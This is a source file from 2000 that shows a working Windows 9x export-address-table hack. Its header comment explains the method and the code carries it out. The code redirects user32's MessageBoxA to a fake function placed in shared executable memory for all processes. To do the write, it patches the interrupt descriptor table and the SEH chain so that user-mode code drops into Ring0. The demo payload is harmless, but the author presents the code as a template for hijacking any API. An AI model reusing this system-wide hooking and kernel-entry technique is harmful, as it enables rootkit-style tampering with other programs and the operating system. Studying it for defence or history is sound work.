// ---[ eathack.cpp ]-------------------------[ http://www.harmonysecurity.com ]--//
//
// This code hacks the export address table (EAT) of the library user32.dll to
// redirect any calls for MessageBoxA to our own fake function which will then
// alter the tittle bar caption before continuing to display the original message
// box. I know this is a fairly mundane example but the principles are the same to
// hijack any other more advanced API calls because it is only the fake function
// you will need to change. Due to the windows system architecture this code will
// only work on Win9x boxes (i only tested it on Win98).
//
// To hijack any API call we must change the address in the export address table
// of the relevant library to point to our hijack function (FakeFunc) which must
// be placed in shared memory so as any process may access it. We first find the
// address inside the EAT that holds the Virtual address of the exported function.
// I wrote the function FuckShitUp to do this. Once we have this address we plant
// our own fake function into shared memory, technically above 0x80000000. We need
// to allocate the enough memory to fit FakeFunc and set it to be ReadWrighteXecute
// we then copy our FakeFunc into that newly allocated memory area. the MSDN library
// says we shouldn't be able to VirtualAlloc any memory above 0x80000000 but we
// actually can, hmmmmm! Once our FakeFunc is in place we need to point the correct
// export address to it, this is fairly easy as we know at what address we need to
// overwright the old one (we use the address returned by FuckShitUp). If we simply
// try to wright to tis address we will cause an access violation as the page is
// not wrightable and we cannot use VirtualProtect to make it so. It is posible
// to use an undocumented call in kernel32.dll to do this but i have chosen for
// the sake of variaty to jump our code into Ring0 and perform the wright.
//
// To jump to Ring0 we must first alter the Structured Exception Handeling (SEH)
// frame so as not to cause an exception. We then modify the Interrupt Discriptor
// Table (IDT) to point the software interrupt 4 to a new address which holds our
// code so when 'int 4' is executed the processor will drop to Ring0 and execute
// our code before jumping up to Ring3 where we fix the IDT and the SEH frame. 
// Once this is done the hook/hijack is in place until you restart your machine
// or restore the correct export address in the EAT.
//
// This code was written and compiled using Borland C++ Builder v3. I have tested
// it on Win98 and debugged it with SoftIce. This is not for the faint hearted,
// you will need to know the Win9x architecture, PE file, x86 assembly, C and how
// to break thing people dont want you to be able to. Well thats about it, all
// constructive criticism, comments and ideas welcome - steve 18/07/00
//
// ---[ Author: Steve Fewer ]---------------------[ info@harmonysecurity.com ]--//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <conio.h>
//----------------------------------------------------------------------------//
#define TARGET_LIB      "USER32.DLL"    // Target Library Which Holds The TARGET_API
#define TARGET_API      "MessageBoxA"   // Target Function We Wish To Hijack As Exported By TARGET_LIB
DWORD   ORIGIONAL_ADDR = 0xBFF5412E;    // Origional Address Of TARGET_API As Given By GetProcAddress, Patched at run time
#define IMPOSTAR_ADDR   0x9C666000      // The New Address For Our Imposter TARGET_API, Must Be In Shared Memory
//----------------------------------------------------------------------------//
LPDWORD FuckShitUp( char * TargetLib, char * TargetApi );
BOOL PlantFakeFunc( DWORD FakeFuncBase );
//----------------------------------------------------------------------------//
int main()
{
        DWORD exception;
        DWORD oldoffset;
        DWORD origsehptr, nextsehptr, seherrhandler;
        DWORD AddressToHack, ValueToWrite;
        HINSTANCE hi;
        printf( "EAT Hack and API Hook :: coded by Steve Fewer :: TSI\n\nCaution :: May Make System Unstable! Press A Key To Continue...\n\n" );
        getch();
        // Load our target dll into our process space...
        hi = LoadLibrary( TARGET_LIB );
            if( hi == NULL )
            {
                printf("Failed To Load Target Library\n");
                goto die;
            }
        // Find the address in memory which contains the VA of the function we wish to hijack...
        printf( "[0]Prepearing To Hook Function %s...  ", TARGET_API);
        ORIGIONAL_ADDR = (DWORD)GetProcAddress( hi, TARGET_API);
            if( ORIGIONAL_ADDR == NULL )
            {
                printf("Failed. Unable To Find Address Of Function %s\n", TARGET_API);
                goto die;
            }
        AddressToHack = (DWORD)FuckShitUp( TARGET_LIB, TARGET_API);
            if( AddressToHack == NULL )
            {
                printf("Failed. Unable To Find Address To Hack\n");
                goto die;
            }
        ValueToWrite = (IMPOSTAR_ADDR - (DWORD)hi);//(0xBFF5412E - 0xBFF50000);//
        // Inject our Hook/Hijack/Fake Function into shared memory...
        printf( "success\n[1]Injecting Fake Function Into Shared Memory... " );
            if( PlantFakeFunc( IMPOSTAR_ADDR ) == FALSE )
            {
                printf("Failed To Plant Our Fake Function\n");
                goto die;
            }
            asm
            {
                jmp start
IDTADDR:        db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
            }
start:
        printf( "success\n[2]Hacking Origional SEH pointer... " );
            asm
            {
                mov eax, dword ptr fs:[0x00]                // get old seh pointer
                mov dword ptr [nextsehptr], eax             // set in structure
                mov dword ptr [origsehptr], eax             // save it
                lea eax, [return_to_host]                   // change it to our code
                mov dword ptr [seherrhandler], eax          // ...
                lea eax, [nextsehptr]                       // ...
                mov dword ptr fs:[0x00], eax                // replace the structure
            }
        printf( "success\n[3]Hacking Interupt Discriptor Table... " );
            asm
            {
                sidt fword ptr [IDTADDR]                    // get interrupt discriptor table addr
                mov esi, dword ptr [IDTADDR+0x02]           // first 2 bytes are the length
                add esi, 4*8                                // get the offset for our int 4
                mov dword ptr [exception], esi              // save exception place
                mov bx, word ptr [esi+6]                    // get the low word
                shl ebx, 0x10                               // shift it left
                mov bx, word ptr [esi]                      // and get the high word
                mov dword ptr [oldoffset], ebx              // save exception offset
                lea eax, [Ring0]                            // eax is our new software interupt func
                mov word ptr [esi], ax                      // store the high word
                shr eax, 0x10                               // shift it right
                mov word ptr [esi+6], ax                    // and store the low word
            }
        // this means that when we do int 4 we will go to our code (at ring0) ;)
        printf( "success\n[4]Going Into Ring0... " );
            asm
            {                                               
                mov eax, AddressToHack                      // eax = the address which holds the va of the exported func
                mov ebx, ValueToWrite                       // ebx = the address we wish to change it to so it points to our FakeFunc
                int 4                                       // generate the interupt so we drop to Ring0
            }
        printf( "success\n[5]Restoring Origional IDT And SEH Pointer... " );
            asm
            {
                mov esi, dword ptr [exception]              // restore the IDT address
                mov ebx, dword ptr [oldoffset]              // restore exception offset
                mov word ptr [esi], bx                      // restore the exception
                shr ebx, 0x10                               // shift it left
                mov word ptr [esi+6], bx                    // put it back
return_to_host:
                mov eax, dword ptr [origsehptr]             // eax = the old SEH pointer
                mov dword ptr fs:[0x00], eax                // restore it
            }
die:
        printf( "success\n\nFinished, Press A Key To Exit...\n" );
        getch();
        ExitProcess(0);
        return 0;
            asm
            {
Ring0:              // THIS CODE EXECUTES AT RING0 
                    // EAX = Address To Write To
                    // EBX = Value To Write
                    mov dword ptr[eax], ebx                 // change the export address
                    iretd                                   // return to Ring3
            }
}
//----------------------------------------------------------------------------//
LPDWORD FuckShitUp( char * TargetLib, char * TargetApi )
{
        DWORD baseAddress;
        LPDWORD fred = 0x00000000, tom;
        LPWORD bob;
        IMAGE_EXPORT_DIRECTORY *ied;
        /* get the base address of our target library as it appears in virtual memory */
        baseAddress = (DWORD)GetModuleHandle( TargetLib );
            if( baseAddress == NULL )
            {
                printf("FuckShitUp: GetModuleHandle failed\n");
                goto quit;
            }
        // simply go through the PE header and get addr of Export Address Table...
        asm {
            	mov eax, baseAddress	            // move imagebase into eax
	            cmp word ptr[eax], 'ZM'             // check if we have a exe image
	            jne quit		                    // exit if we dont
	            add eax, 0x3C		                // eax = pointer to pe header offset
	            mov ebx, [eax]		                // get the pointer
	            add ebx, baseAddress	            // add to image base to align it
	            cmp word ptr[ebx], 'EP'             // check if we have a pe image
	            jne quit		                    // exit if we dont
	            add ebx, 0x78		                // eax = pointer to virtual address of export dir address
	            mov ecx, [ebx]		                // ecx = virtual address of export dir address
	            add ecx, baseAddress	            // add imagebase to ecx to align
                mov ied, ecx
        };
        // i wrote this to scan through the export table and find th VA of our targt func
        // and then return its addr in mem
            for( DWORD i=0 ; i<ied->NumberOfFunctions ; i++ )
            {
                tom = (DWORD *)( (DWORD)ied->AddressOfNames + baseAddress + (0x04*i) );
                    if( strcmp(  (char*)(*tom + baseAddress), TargetApi ) == 0 )
                    {
                        bob = (WORD*)((DWORD)ied->AddressOfNameOrdinals + baseAddress + (i*0x02) );
                        fred = (DWORD*)((DWORD)ied->AddressOfFunctions + baseAddress + (0x04 * *bob) );
                        break;
                    }
            }
quit:
        return fred;
}
//----------------------------------------------------------------------------//
__declspec ( naked ) void FakeFunc( void )
{
        /* This is our fake function code, the example given below will alter */
        /* the tittle of a message box which has been called with MessageBoxA */
        __asm
        {
            push ebp                    // procedure prelude: save old base ptr
            mov ebp, esp                // and create new stack frame
            push 0x00                   // place a null byte onto stack
            mov eax, IMPOSTAR_ADDR      // eax = address of this function
            add eax, 0x22               // eax = address of the new tittle string
            db 0xFF, 0x75, 0x14         // push dword ptr[ebp-0x14]
            push eax                    // push address of new title string
            db 0xFF, 0x75, 0x0C         // push dword ptr[ebp-0x0c]
            db 0xFF, 0x75, 0x08         // push dword ptr[ebp-0x08]
            mov eax, 0xBFF52E1C         // eax = address of function MessageBoxExA, MAKE SURE THIS IS CORRECT FOR TARGET MACHINE
            call eax                    // call that function
            pop ebp                     // get old stack base
            ret 0x0010                  // return to caller
            db "Steves Kung Foo Is Great!!!", 0x00
        };
}
__declspec ( naked ) void FakeFuncEnd( void ){}
//----------------------------------------------------------------------------//
BOOL PlantFakeFunc( DWORD FakeFuncBase )
{
        DWORD FakeFuncSize;
        /* Calculate the size of our fake function */
        FakeFuncSize = ((DWORD)&FakeFuncEnd - (DWORD)&FakeFunc);
        /* Allocate the required memory for it in shared memory so all processes can access it */
        FakeFuncBase = (DWORD)VirtualAlloc( (LPVOID)FakeFuncBase, FakeFuncSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			if( FakeFuncBase == NULL )
            {
                return FALSE;
			}
        /* Copy the fake function into newly allocated shared memory */
        memcpy( (void*)FakeFuncBase, (void*)&FakeFunc, FakeFuncSize);
        return TRUE;
}
//----------------------------------------------------------------------------//


